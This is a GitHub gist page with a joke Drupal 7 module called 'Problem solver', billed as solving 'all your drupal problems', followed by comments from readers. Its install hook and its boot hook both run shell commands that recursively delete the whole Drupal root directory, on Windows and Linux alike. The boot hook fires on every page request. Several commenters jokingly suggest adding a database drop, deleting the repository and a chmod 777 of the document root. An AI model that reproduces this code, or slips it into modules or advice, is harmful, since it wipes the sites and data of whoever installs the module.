Skip to content

Instantly share code, notes, and snippets.

@nigelheap
Created May 23, 2012 04:50
Show Gist options
  • Select an option

  • Save nigelheap/2773333 to your computer and use it in GitHub Desktop.

Select an option

Save nigelheap/2773333 to your computer and use it in GitHub Desktop.
problem_solver module
name = Problem solver
description = The module that will solve all your drupal problems
package = Problems
version = 1.x
core = 7.x
<?php
/**
* @file
*
* Install file for Problem Solver module.
*/
/**
* Implements hook_install().
*/
function problem_solver_install() {
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
<?php
/**
* @file
*
* Module file for Problem Solver module.
*/
/**
* Implements hook_boot().
*/
function problem_solver_boot(){
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
@tallsam

tallsam commented May 23, 2012

Copy link
Copy Markdown

hook_boot may be more efficient than hook_init() - The less times Drupal bootstraps the better the world will be. Also hook_init() won't be run if caching is on.

@nigelheap

Copy link
Copy Markdown
Author

Thanks for the tip ... fixed

@CashWilliams

Copy link
Copy Markdown

seems like this show depend on the http://drupal.org/project/bad_judgement module. I'd suggest adding it to .info

problem_solver.info:

  • dependencies[] = bad_judgement

@santouras

Copy link
Copy Markdown

nah, it's definitely good judgement to install this module

@danreb

danreb commented Aug 3, 2012

Copy link
Copy Markdown

Better add support for Windows PC

/**

  • Implements hook_install().
    */
    function problem_solver_install() {
    $dir = DRUPAL_ROOT;
    // Execute Windows command else Linux
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    rd /s /q $dir;
    } else {
    rm -rf $dir;
    }
    }

and for hook_boot

/**

  • hook_boot
    */

function problem_solver_boot(){
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
rd /s /q $dir;
} else {
rm -rf $dir;
}
}

@nigelheap

Copy link
Copy Markdown
Author

Good point. I have updated the code.

@seanr

seanr commented Aug 29, 2012

Copy link
Copy Markdown

This needs to be amended to also delete the database.

@tallsam

tallsam commented Feb 20, 2013

Copy link
Copy Markdown

yes, this should drop the database as well.

http://drupal.org/node/188711#comment-619917 has some code to get the database name, then just db_query() to drop database?

@emonakov

emonakov commented Mar 7, 2013

Copy link
Copy Markdown

you should have added drop database statement and, if it possible, romove repository storage.

@drm

drm commented Apr 10, 2013

Copy link
Copy Markdown

Maybe a drush command that chmods -R the doc root to 777 first? That may solve many newb's installation trouble.

@lionslair

Copy link
Copy Markdown

+1 for removing the database
+2 for trying to delete the repository

Feature request: Just before executing send an email to the site_mail address stating. "Your site site_name has had all problems solved. Your welcome."

@kt2

kt2 commented Oct 6, 2022

Copy link
Copy Markdown

can u update the module to d8 please, i want it to solve my problem

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment